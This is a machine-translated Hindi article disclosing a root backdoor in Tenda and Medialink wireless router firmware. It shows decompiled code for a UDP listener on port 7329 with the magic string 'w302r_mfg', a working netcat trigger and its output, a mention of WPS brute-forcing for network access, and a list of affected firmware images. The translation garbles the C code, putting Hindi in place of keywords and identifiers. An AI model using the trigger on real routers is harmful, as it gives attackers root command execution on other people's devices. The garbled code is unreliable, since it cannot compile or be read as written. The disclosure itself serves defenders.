🙆🏿 🥂 🈸 डी-लिंक भेद्यता के बाद: टेंडे और मेडियलिंक वायरलेस रूटर्स में बैकडोर का पता लगाया गया 💖 🖐🏼 👨🏿‍💻

ताकि आप यह न सोचें कि डी-लिंक एकमात्र आपूर्तिकर्ता है जो अपने उत्पादों में बैकसाइड छोड़ता है, यहां एक और है - टेंडा।

टेंडा W302R वायरलेस राउटर के लिए नवीनतम फर्मवेयर प्राप्त करने के बाद, क्रेग हेफ़नर ने / बिन / httpd पर गौर करने का फैसला किया, जो कि गोएहेड का वेब सर्वर बन गया:

लेकिन टेंडा में एक संशोधित सर्वर है। HTTP प्राप्त लूप में प्रवेश करने से ठीक पहले, InitMfgTask पर मुख्य कॉल एक अलग नेटवर्क के रूप में MfgTread फ़ंक्शन को उत्पन्न करता है:

पहले MfgTread UDP सॉकेट बनाता है और पोर्ट 7329 पर सुनता है:

स्ट्रीम फिर रिकवरफॉम लूप में प्रवेश करती है और सॉकेट से 128 बाइट्स पढ़ती है। यह हर प्राप्त यूडीपी पैकेट को सुनता है, जो 14 बाइट लंबा है।

UDP पैकेट को इस कोड के साथ संसाधित किया गया है:

समान C कोड का एक उदाहरण:

 मेमसेट (rx_magic_string, 0, 0x80);
 मेमसेट (कमांड_बाइट, 0, 0x80);
 मेमसेट (कमांड_रग, 0, 0x80);

 memcpy (rx_magic_string, rx_buf, 9);
 command_byte [0] = rx_buf [11];
 memcpy (कमांड_रग, rx_buf + 12, rx_size-12);

 // यदि जादुई स्ट्रिंग मेल नहीं खाती है, तो इस पैकेट को संसाधित करना बंद करें और दूसरे पैकेट की प्रतीक्षा करें
 if (strcmp (rx_magic_string, "w302r_mfg")! = 0) goto external_receive_loop;

हम देखते हैं कि सॉकेट निम्नलिखित संरचना के साथ एक पैकेट की अपेक्षा करता है:

  संरचना command_packet_t
 {
     चार जादू [10];  // 9 बाइट मैजिक स्ट्रिंग ("w302r_mfg"), साथ ही एक पूर्ण समाप्ति बाइट
     char command_byte;
     char command_arg [117];
 };

यदि प्राप्त पैकेट लाइन "w302r_mfg" से शुरू होता है, तो कोड दिए गए बाइट में तीन ASCII वर्णों ('1', 'x' और 'e') की आज्ञाओं की तुलना करता है:

सादगी के लिए, एक उदाहरण C कोड:

  स्विच (कमांड_बाइट)
 {
     मामला 'ई':
         strcpy (tx_buf, "w302r_mfg");
         tx_size = 9;
         तोड़;
     मामला '1':
         अगर (स्ट्रैस (कमांड_रग, "आईव्रीव")! = NULL)
             tx_size = call_shell (command_arg, tx_buf, 0x800);
         अन्यथा
             strcpy (tx_buf, "000000");
             tx_size = strlen (tx_buf);
         तोड़;
     मामला 'x':
         tx_size = call_shell (command_arg, tx_buf, 0x800);
         तोड़;
     डिफ़ॉल्ट:
         गोटो आउटर_सिविव_लूप;
 }

 sendto (client_socket, tx_buf, tx_size, client_sock_addr, 16);
 गोटो आउटर_सिविव_लूप;

निम्नलिखित कदम अगले बाइट के अनुरूप हैं:

'ई' - पिंग
'1' - आपको iwpriv कमांड चलाने की अनुमति देता है
'X' - आपको रूट से किसी भी कमांड को निष्पादित करने की अनुमति देता है

यदि 'X' को एक कमांड बाइट के रूप में परिभाषित किया जाता है, तो इस चरित्र के बाद के पैकेट के शेष (ऊपर दिए गए कोड में तथाकथित कमांड_कार) को call_shell से पास किया जाता है, जो POPEN के माध्यम से कमांड को निष्पादित करता है:

इसके अलावा, call_shell कमांड के आउटपुट के साथ tx_buf बफर को भरता है, जिसे हम पिछले C कोड से देखते हैं, क्लाइंट को वापस भेज दिया जाता है।

MfgThread की कार्यक्षमता और पैकेज संरचना को जानकर, हम आसानी से Netcat का उपयोग करके इस पिछले दरवाजे को पुन: पेश कर सकते हैं:

  $ echo -ne "w302r_mfg \ x00x / bin / ls" |  nc -u -q 5 192.168.0.1 7329
 drwxr-xr-x 2 0 0 1363 वेबरूट
 drwxr-xr-x 1 0 0 0 var
 drwxr-xr-x 5 0 0 43 usr
 drwxr-xr-x 1 0 0 0 tmp
 drwxr-xr-x 2 0 0 3 sys
 drwxr-xr-x 2 0 0 569 sbin
 dr-xr-xr-x 39 0 0 0 proc
 drwxr-xr-x 2 0 0 3 mnt
 drwxr-xr-x 1 0 0 0 मीडिया
 drwxr-xr-x 4 0 0 821 लिब
 lrwxrwxrwx 1 0 0 11 init -> बिन / व्यस्त बॉक्स
 drwxr-xr-x 2 0 0 3 घर
 drwxr-xr-x 7 0 0 154 etc_ro
 drwxr-xr-x 1 0 0 0 आदि
 drwxr-xr-x 1 0 0 0 देव
 drwxr-xr-x 2 1000 100 574 बिन

यह पैकेज केवल स्थानीय नेटवर्क से भेजा जा सकता है, जबकि पिछले दरवाजे का उपयोग वैश्विक नेटवर्क से नहीं किया जा सकता है। हालांकि, डिफ़ॉल्ट रूप से सक्षम डब्ल्यूपीएस के साथ ऑपरेटिंग वायरलेस नेटवर्क ब्रूट-बल संरक्षित नहीं हैं। ReaverPro अपेक्षाकृत जल्दी से हैक किया गया WPS ब्रूट बल, एक वायरलेस नेटवर्क तक पहुंच प्रदान करता है:

यह पिछले दरवाजे W302R में सबसे पहले टेंडा में लागू होने की संभावना है, हालांकि यह Tenda W330R में भी मौजूद है, साथ ही साथ इसी तरह के मॉडल जैसे Medialink MWN-WAPR150N में भी है। वे सभी UDP पैकेट में स्ट्रिंग "w302r_mfg" के लिए भी असुरक्षित हैं।

अद्यतन:
जीथब से लिंक: ea.imtqy.com/blog/2013/10/18/tenda-backdoor
कमजोरियाँ निम्नलिखित फर्मवेयर से प्रभावित होती हैं:

301r_v3.1.192_en.bin
W311r_W268R_H1_V3.3.6b_ost_staticR.bin
302r_v3.1.192_en.bin
V3.1.201d_W301R_2010_0709.bin
W368R_H3_V3.3.6h_EN_spi.bin
V3.1.201d_W302R_2010_0709.bin
3gr_H2_V3.3.0y_multi_02.bin
w368r_H1_V3.3.6l_EN.bin
U_W330R_V3.1.201d_tenda_en.bin
W368r_H1_V3.3.6b_ost_staticR.bin
3g611r_en_0607.bin.bin
U_W311R_W268R_H3_V3.3.6h_EN_spi.bin
U_3G611R_H2_V3.3.1e_MULTI_02.bin
US_W268RRA__H3_V3.3.6h_EN_SPI.bin
US_W311RRA__H3_V3.3.6h_EN_SPI.bin
w1500a_kfw_V1.0.1.22_en_svn6227.bin
U150M_V3.32.12_EN.bin
U300M_V3.32.12_EN.bin
U_W302RRA_V3.1.201d_EN.bin
US_N60BRV1_N60_V1.0.0.15_EN.bin
US_N6BRV1_N6_V2.0.0.2_EN.bin
U_W150M_EN_V3.33.13_SPI_EN.bin
U_W300M_EN_V3.33.13_SPI_EN.bin
U_W330R_V3.1.201f_en_onWISP.bin
W330R_V3.1.201d_EN.bin
W311R_H1_V3.3.5o.bin
w311r_H1_V3.3.5n_en.bin
US_N60BRV1_N60_V1.0.0.16_EN.bin
US_N80_W568Rbr_V1.0.1.8 (4428) _en_TD.bin
W311r_H1_V3.3.6b.bin
U268R_H1_V3.3.6d_EN.bin
U311R_H1_V3.3.6d_EN.bin
U150M_RT_EN_V3.32.11.bin
U300M_RT_EN_V3.32.11.bin

डी-लिंक भेद्यता के बाद: टेंडे और मेडियलिंक वायरलेस रूटर्स में बैकडोर का पता लगाया गया

More articles: